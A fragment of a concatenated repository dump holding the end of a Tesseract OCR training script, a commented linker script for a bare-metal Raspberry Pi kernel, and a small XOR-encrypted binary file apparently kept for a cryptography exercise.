23 | mv pffmtable hsk.pffmtable
24 | mv shapetable hsk.shapetable
25 | combine_tessdata hsk.
26 |
--------------------------------------------------------------------------------
/raspberry_pi_os/part1/linker.ld:
--------------------------------------------------------------------------------
1 | /* Linker Script: Defines the memory layout */
2 |
3 | ENTRY(_start)
4 |
5 | SECTIONS {
6 | . = 0x80000; /* The kernel code must start at the address 0x80000 for Raspberry Pi. */
7 | .text : { *(.text) } :read_execute /* Code goes here. */
8 |
9 | .rodata : { *(.rodata) } :read_only /* Initialized read-only data go here. */
10 |
11 | .data : { *(.data) } :read_write /* Initialized data go here. */
12 |
13 | /* BSS Section: Uninitialized data (like the stack) go here. */
14 | /* This section is ONLY reserved in memory; nothing is written to the output file. */
15 | .bss : {
16 | . = ALIGN(16);
17 | . = . + 0x10000; /* Reserve 64KB for the stack */
18 | __stack_top = .; /* Set the label __stack_top to the end of the reserved space */
19 | } :read_write
20 |
21 | /* /DISCARD/ section: Get rid of any unused/unwanted sections */
22 | /DISCARD/ : {
23 | *(.note.gnu.build-id)
24 | *(.ARM.exidx)
25 | }
26 | }
27 |
28 | /* Define the loadable segments and set their permissions */
29 | PHDRS {
30 | read_execute PT_LOAD FLAGS(5); /* R + X */
31 | read_only PT_LOAD FLAGS(4); /* R */
32 | read_write PT_LOAD FLAGS(6); /* R + W */
33 | }
34 |
--------------------------------------------------------------------------------
/crypto/xor_encrypted_text.bin:
--------------------------------------------------------------------------------
1 | Vr!aC=59R
N2VZ!Y6K ._ #^?=!ekPL0]7'
2 |